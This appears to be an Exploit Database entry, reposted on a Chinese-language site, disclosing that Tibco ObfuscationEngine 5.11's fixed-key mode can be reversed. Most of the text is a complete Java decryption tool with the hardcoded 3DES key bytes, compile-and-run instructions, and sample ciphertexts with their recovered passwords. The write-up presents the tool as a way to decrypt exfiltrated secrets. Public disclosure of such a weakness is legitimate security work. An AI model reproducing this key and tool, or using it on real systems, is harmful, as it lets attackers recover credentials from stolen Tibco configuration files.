Tibco ObfuscationEngine 5.11 – Fixed Key Password Decryption

• Exploit Database
• 37 阅读

• 作者： Tess Sluyter
  日期： 2020-12-09
• 类别：

  • local
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/49221/

• # Exploit Title: Tibco ObfuscationEngine 5.11 - Fixed Key Password Decryption
  # Date: December 8th 2020
  # Exploit Author: Tess Sluijter
  # Vendor Homepage: https://www.tibco.com
  # Version: 5.11x and before
  # Tested on: MacOS, Linux, Windows
  
  # Tibco password decryption exploit
  
  ## Background
  
  Tibco's documentation states that there are three modes of operation for this ObfuscationEngine tooling:
  
  1. Using a custom key.
  2. Using a machine key.
  3. Using a fixed key.
  
  https://docs.tibco.com/pub/runtime_agent/5.11.1/doc/pdf/TIB_TRA_5.11.1_installation.pdf?id=2
  
  This write-up pertains to #3 above. 
  Secrets obfuscated using the Tibco fixed key can be recognized by the fact that they start with the characters #!. For example: "#!oe2FVz/rcjokKW2hIDGE7nSX1U+VKRjA".
  
  ## Issues
  
  On Tibco's forums, but also on other websites, people have already shared Java code to decrypt secrets encrypted with this fixed key. For example:
  
  * https://support.tibco.com/s/article/Tibco-KnowledgeArticle-Article-30338
  * https://community.tibco.com/questions/password-encryptiondecryption
  * https://community.tibco.com/questions/deobfuscatedecrypt-namevaluepairpassword-gv-file
  * https://community.tibco.com/questions/bw6-password-decrypt
  * http://tibcoworldin.blogspot.com/2012/08/decrypting-password-data-type-global.html
  * http://tibcoshell.blogspot.com/2016/07/how-to-decrypt-encryptedmasked-password.html
  
  ## Impact
  
  Regardless of country, customer, network or version of Tibco, any secret that was obfuscated with Tibco's ObfuscationEngine can be decrypted using my Java tool. It does **not** require access to Tibco software or libraries. All you need are exfiltrated secret strings that start with the characters #!. This is not going to be fixed by Tibco, this is a design decision also used for backwards compatibility in their software.
  
  ## Instructions
  
  Compile with:
  
  javac decrypt.java
  
  Examples of running, with secrets retrieved from websites and forums:
  
  java Decrypt oe2FVz/rcjokKW2hIDGE7nSX1U+VKRjA
  7474
  
  java Decrypt BFBiFqp/qhvyxrTdjGtf/9qxlPCouNSP
  tibco
  
  /* comments!
  Compile with: 
  		javac decrypt.java
  		
  Run as:
  		java Decrypt oe2FVz/rcjokKW2hIDGE7nSX1U+VKRjA
  		7474
  		
  		java Decrypt BFBiFqp/qhvyxrTdjGtf/9qxlPCouNSP
  		tibco
   */
  
  import java.io.ByteArrayInputStream;
  import java.util.Arrays;
  import java.util.Base64;
  import javax.crypto.Cipher;
  import javax.crypto.SecretKey;
  import javax.crypto.spec.SecretKeySpec;
  import javax.crypto.spec.IvParameterSpec;
  import javax.crypto.CipherInputStream;
  import javax.crypto.CipherOutputStream;
  
  
  class Decrypt
  {
  	public static void main (String [] arguments)
  	{
  		try
  		{
  			byte[] keyBytes = { 28, -89, -101, -111, 91, -113, 26, -70, 98, -80, -23, -53, -118, 93, -83, -17, 28, -89, -101, -111, 91, -113, 26, -70 };
  	
  			String algo = "DESede/CBC/PKCS5Padding";
  		
  			String encryptedText = arguments[0];
  			byte[] message = Base64.getDecoder().decode(encryptedText);
  
  			ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(message);
  	
  			Cipher decipher = Cipher.getInstance(algo);
  
  			int i = decipher.getBlockSize();
  			byte[] ivSetup = new byte[i];
  			byteArrayInputStream.read(ivSetup);
  
  			SecretKey key = new SecretKeySpec(keyBytes, 0, keyBytes.length, "DESede");
  	
  			decipher.init(2, key, new IvParameterSpec(ivSetup));
  	
  			// Magic, I admit I don't understand why this is needed.
  			CipherInputStream cipherInputStream = new CipherInputStream(byteArrayInputStream, decipher);
  			char[] plaintext;
  			char[] arrayOfChar1 = new char[(message.length - i) / 2];
  			byte[] arrayOfByte4 = new byte[2];
  			byte b = 0;
  
  			while (2 == cipherInputStream.read(arrayOfByte4, 0, 2)) {
  				arrayOfChar1[b++] = (char)((char)arrayOfByte4[1] << '\b' | (char)arrayOfByte4[0]);
  			}
  			
  			cipherInputStream.close();
  
  			if (b == arrayOfChar1.length) {
  				plaintext = arrayOfChar1;
  			} else {
  				char[] arrayOfChar = new char[b];
  				System.arraycopy(arrayOfChar1, 0, arrayOfChar, 0, b);
  				for (b = 0; b < arrayOfChar1.length; b++) {
  				arrayOfChar1[b] = Character.MIN_VALUE;
  				}
  
  				plaintext = arrayOfChar;
  				// End of Magic
  			} 
  
  			System.out.println(plaintext);
  
  		}
  
  		catch (Exception ex)
  		{
  			System.out.println("Barf...");
  			System.out.println(ex);
  		}
  	}
  }